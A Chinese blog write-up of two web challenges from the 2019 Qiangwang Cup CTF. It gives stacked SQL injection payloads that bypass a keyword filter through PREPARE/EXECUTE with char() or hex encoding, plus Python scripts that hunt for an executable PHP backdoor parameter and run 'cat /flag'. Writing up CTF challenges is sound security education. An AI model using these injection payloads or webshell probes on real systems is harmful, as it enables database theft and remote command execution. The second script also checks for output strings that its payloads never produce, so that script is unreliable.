2019强网杯

2019-09-07 08:09:00
ctf - 国赛强网杯 - wp

随便注

题目极其明显提示是sql注入,其传参如下:?inject=1

测试

输入?inject=1',其报错如下:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1`

但是从报错中我们可以看见的是其sql语句应该是inject=('$_GET['inject']')

输入?inject=1' union select,发现它直接给我们贴出了过滤掉哪些东西

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这相当于后面要弄什么都过滤掉了。。

堆叠注入

堆叠注入出现的情况比较少,需要sql语句以mysqli_multi_query()函数执行才会出现这种情况,一般php都是使用mysqli_ query()函数来防止同时执行多个语句。

什么是堆叠注入?

我们在执行完一句sql语句后在后面加入;但是我们不换行,继续加入语句,再次加入;然后回车,此时它会两句语句一同执行。

那么在这道题中尝试发现可以使用堆叠注入来完成执行语句。

解题

了解了堆叠注入之后,我们可以构建语句

?inject=1';show databases;#

查询结果如下:

array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }

?inject=1';show tables;#

array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(16) "1919810931114514" } array(1) { [0]=> string(5) "words" }

接下来就无法再做下去了,因为无法使用select,where等等,那么我们还有办法。

sql语句中有一个char()函数,可以将ASCII码转换为字符,然后使用concat将字符拼接成字符串,我们可以凭此绕过它的过滤。

或者也可以使用16进制来执行。

sql预处理

set @s=sql语句;PREPARE a FROM @s;EXECUTE a;

PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

  1. 设置变量:set @s=sql语句
  2. 预处理语句:prepare 预处理名字 from ‘sql语句’
  3. 执行预处理:execute 预处理名字 [using 变量]

两种解法

解法一

配合使用concat和char函数构建payload,首先我们要的payload如下:

0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;

我们要执行的sql语句如下:

select group_concat(flag) from supersqli.1919810931114514

那么我们需要使用python写脚本对该字符串进行循环然后将每一个字符换为其ASCII码然后放入char()函数内。

脚本如下:

payload="1';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = "select group_concat(flag) from supersqli.1919810931114514"
result=''
for i in exp:
    result+="char(%s),"%(ord(i))
print(payload%(result[:-1]))   #result[:-1]除去逗号

最后形成的payload如下:

1';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(102),char(108),char(97),char(103),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(115),char(117),char(112),char(101),char(114),char(115),char(113),char(108),char(105),char(46),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52));PREPARE a FROM @s;EXECUTE a;

解得flag:

array(1) { [0]=> string(32) "flag{glzjin_wants_a_girl_firend}" }

解法二

依旧是使用预处理,但是这次是将语句转换为16进制.

hex()

unhex()

然后构建payload时需要在16进制前面添加0x表示是16进制。

payload如下:

1';set@s=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE a FROM @s;EXECUTE a;

需要注意的是这里的表名需要用反引号包围,目前我不知道是为什么,但确实是需要。

高明的黑客

题目提示下载www.tar.gz源码,下载后发现有一堆难以阅读的文件,每个文件都是又臭又长,而且关键是一共有3000个这样的文件。。。

思路

有三个关键函数:

  • system
  • eval
  • assert

分别对应如下面这种垃圾代码:

$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');

$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');

assert($_POST['ajrTikuiZ'] ?? ' ');

根据大佬wp提示这些都是无法执行的代码,需要编写脚本来批量扫描get和post来寻找到其中一条能够执行的语句。

思路如下:

可以利用python写脚本将get和post找出来,然后分别get或post给对应的url,执行echo语句,查看返回的页面中是否有我们echo的内容,有则说明该语句可被执行,则成功找到所需。

批量扫描

import os
import re
import requests
from concurrent.futures import ThreadPoolExecutor

path = r"F:\PHPstudy\PHPTutorial\WWW\src"
FileList = os.listdir(path)
RunSystem = "echo iamHhhM"
RunEval = 'echo("iamHhhM");'
RunAssert = 'echo("iamHhhM");'
getpayload = {}
postpayload = {}


def getAndpost(count):
    pattern1 = "_GET.*?]"
    pattern2 = "_POST.*?]"
    file = FileList[count]
    getList = []
    postList = []
    with open(path + "/" + file, 'r') as f:
        for i in f:
            if "_GET" in i:
                content = re.search(pattern1,
                                    i).group().replace("_GET[", "").replace(
                                        "]", "").replace("'", "")
                getList.append(content)
            if "_POST" in i:
                content = re.search(pattern2,
                                    i).group().replace("_POST[", "").replace(
                                        "]", "").replace("'", "")
                postList.append(content)
    for i in getList:
        getpayload[i] = [RunAssert, RunEval, RunSystem]
    for j in postList:
        postpayload[j] = [RunAssert, RunEval, RunSystem]

    r = requests.post("http://127.0.0.1/src/" + file,
                      params=getpayload,
                      data=postpayload)
    if ("iamHhhM" in r.text):
        print(r.url)
        print(file)
        return
    else:
        print(count, end="/")


with ThreadPoolExecutor(max_workers=60) as executor:
    for count in range(len(FileList)):
        executor.submit(getAndpost, count)

大致就是找到某个可用的_GET['XXX']或_POST[‘xxx’],然后传值给他们执行system,eval,assert这三个函数其中之一即可。

结果如下:

到这里还不算完,因为不知道是哪一个get或post传递了哪一个函数,需要再写一个脚本来扫描。

随便改一下上面的脚本即可:

def getName():
    pattern1 = "_GET.*?]"
    pattern2 = "_POST.*?]"
    file = "xk0SzyKwfzw.php"
    getList = []
    postList = []
    with open(path + "/" + file, 'r') as f:
        for i in f:
            if "_GET" in i:
                content = re.search(pattern1,
                                    i).group().replace("_GET[", "").replace(
                                        "]", "").replace("'", "")
                getList.append(content)
            if "_POST" in i:
                content = re.search(pattern2,
                                    i).group().replace("_POST[", "").replace(
                                        "]", "").replace("'", "")
                postList.append(content)
    for i in getList:
        getpayload = {}
        getpayload[i] = RunAssert
        r = requests.post("http://127.0.0.1/src/" + file, params=getpayload)
        if ("HhhMRunAssert" in r.text):
            print(r.url + RunAssert)
            print(i)
            print(file)
            return
        else:
            print("no", end="/")

        getpayload = {}
        getpayload[i] = RunEval
        r = requests.post("http://127.0.0.1/src/" + file, params=getpayload)
        if ("HhhMRunEval" in r.text):
            print(r.url + RunEval)
            print(i)
            print(file)
            return
        else:
            print("no", end="/")

        getpayload = {}
        getpayload[i] = RunSystem
        r = requests.post("http://127.0.0.1/src/" + file, params=getpayload)
        if ("HhhMRunSystem" in r.text):
            print(r.url + RunSystem)
            print(i)
            print(file)
            return
        else:
            print("no", end="/")

    for i in postList:
        postpayload = {}
        postpayload[i] = RunAssert
        r = requests.post("http://127.0.0.1/src/" + file, data=postpayload)
        if ("HhhMRunAssert" in r.text):
            print(r.url + RunAssert)
            print(i)
            print(file)
            return
        else:
            print("no", end="/")

        postpayload = {}
        postpayload[i] = RunEval
        r = requests.post("http://127.0.0.1/src/" + file, data=postpayload)
        if ("HhhMRunEval" in r.text):
            print(r.url + RunEval)
            print(i)
            print(file)
            return
        else:
            print("no", end="/")

        postpayload = {}
        postpayload[i] = RunSystem
        r = requests.post("http://127.0.0.1/src/" + file, data=postpayload)
        if ("HhhMRunSystem" in r.text):
            print(r.url + RunSystem)
            print(i)
            print(file)
            return
        else:
            print("no", end="/")

发现它连双引号也打印出来了,可能是我代码哪里出错了,这里应该是system指令了,直接cat /flag

看别人说多线程几分钟就能跑出来,可是我写的多线程跑了不知道多久???



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号